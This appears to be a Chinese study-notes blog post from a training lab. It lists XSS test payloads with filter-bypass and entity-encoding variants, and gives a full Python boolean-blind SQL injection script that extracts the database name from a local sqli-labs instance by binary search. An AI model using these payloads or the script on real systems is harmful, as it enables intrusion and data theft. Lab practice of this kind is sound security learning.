sql注入以及Python二分查找

sql注入

/level1.php?name=<script>alert(1)</script>

"><script>alert(1)</script>

'οnclick='alert(1)

" οnclick="alert(1)

"><a href="javascript:alert(1)">

"><a HrEf="javascript:alert(1)">

"><scscriptript>alert(1)</sscriptcript>

HTML字符实体转换,网页字符实体编码https://www.qqxiuzi.cn/bianma/zifushiti.php

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

Python二分查找

python 复制代码
import requests
import time

# 配置信息
BASE_URL = "http://127.0.0.1/range/sqli-labs/Less-8/"
SUCCESS_MESSAGE = "You are in..........."
CHARSET = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_!@#$%^&*()-+=`~[]{}|;:\",./<>?'
HEADERS = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Connection': 'keep-alive',
}
TIMEOUT = 5  # 请求超时时间(秒)
DELAY = 0.1  # 请求间隔时间(秒)

def send_payload(payload):
    """发送SQL注入payload并返回是否成功"""
    try:
        url = f"{BASE_URL}?id={payload}"
        response = requests.get(url, headers=HEADERS, timeout=TIMEOUT)
        time.sleep(DELAY)  # 避免请求过快
        return SUCCESS_MESSAGE in response.text
    except requests.RequestException as e:
        print(f"请求异常: {e}")
        return False

def binary_search(min_val, max_val, payload_template, char_mode=False):
    """通用二分查找函数"""
    left, right = min_val, max_val
    while left <= right:
        mid = (left + right) // 2
        current_char = chr(mid) if char_mode else mid
        
        # 大于判断
        payload = payload_template.format(operator='>', value=current_char)
        if send_payload(payload):
            left = mid + 1
            continue
            
        # 小于判断
        payload = payload_template.format(operator='<', value=current_char)
        if send_payload(payload):
            right = mid - 1
            continue
            
        # 等于
        return current_char
    
    return None

def get_length_digits_count():
    """获取数据库名长度的位数"""
    print("[+] 正在获取数据库名长度的位数...")
    payload_template = "1' and if(substr(length(length(database())), 1, 1){operator}{value}, 1, 0)--+"
    return binary_search(0, 9, payload_template)

def get_database_length(digits_count):
    """获取数据库名的长度"""
    print(f"[+] 数据库名长度的位数: {digits_count}")
    print("[+] 正在获取数据库名长度...")
    
    length_str = ''
    for i in range(1, digits_count + 1):
        payload_template = f"1' and if(substr(length(database()), {i}, 1){{operator}}{{value}}, 1, 0)--+"
        digit = binary_search(0, 9, payload_template)
        if digit is None:
            print(f"[-] 获取第 {i} 位长度失败")
            return None
        length_str += str(digit)
        print(f"[*] 已获取长度第 {i}/{digits_count} 位: {digit}")
    
    return int(length_str)

def get_database_name(length):
    """获取数据库名"""
    print(f"[+] 数据库名长度: {length}")
    print("[+] 正在获取数据库名...")
    
    db_name = ''
    for i in range(1, length + 1):
        payload_template = f"1' and if(ascii(substr(database(), {i}, 1)){{operator}}{{value}}, 1, 0)--+"
        char_code = binary_search(32, 126, payload_template, char_mode=True)
        if char_code is None:
            print(f"[-] 获取第 {i} 个字符失败")
            char = '?'
        else:
            char = chr(char_code)
        db_name += char
        print(f"[*] 已获取字符 {i}/{length}: {char} ({char_code})")
    
    return db_name

if __name__ == '__main__':
    try:
        digits_count = get_length_digits_count()
        if digits_count is None:
            print("[-] 获取数据库名长度的位数失败")
            exit(1)
            
        db_length = get_database_length(digits_count)
        if db_length is None:
            print("[-] 获取数据库名长度失败")
            exit(1)
            
        db_name = get_database_name(db_length)
        print(f"\n[+] 数据库名获取完成: {db_name}")
        print(f"[+] 数据库名长度: {db_length}")
        
    except KeyboardInterrupt:
        print("\n[-] 用户中断")
        exit(1)
    except Exception as e:
        print(f"[-] 发生错误: {e}")
        exit(1)
相关推荐
刘胡子大叔12 小时前
SQL 脚本的导入顺序
数据库·sql
sbjdhjd16 小时前
云安全 | Docker 容器逃逸复盘(三):docker.sock 挂载与 Docker-in-Docker 风险
经验分享·网络安全·docker·云原生·容器·kubernetes·云安全
lvqinglou1 天前
学习Sql-part1 for婷姐
sql·学习·性能优化
Dachui_11221 天前
内网穿透如何限制访问地区?ZeroNews Geo Location 区域访问控制实践
运维·网络安全·内网穿透·访问控制·远程办公·api安全·ip白名单
HackTwoHub1 天前
DeepSeek Harness 红队破甲插件|适配 SRC 挖掘场景,区分平台拦截与模型原生输出,用于大模型安全边界合规测评研究
安全·web安全·网络安全·系统安全·密码学·网络攻击模型·安全架构
菩提小狗1 天前
每日安全情报报告 · 2026-10-09
网络安全·漏洞·cve·安全情报·每日安全
冰暮流星1 天前
sql之is not null运算符
数据库·sql·oracle
冰暮流星1 天前
sql之is null 运算符
java·数据库·sql
2601_962966641 天前
数学与应用数学专业准备风险管理岗,2027届秋招金融知识和工具技能怎么补?
python·sql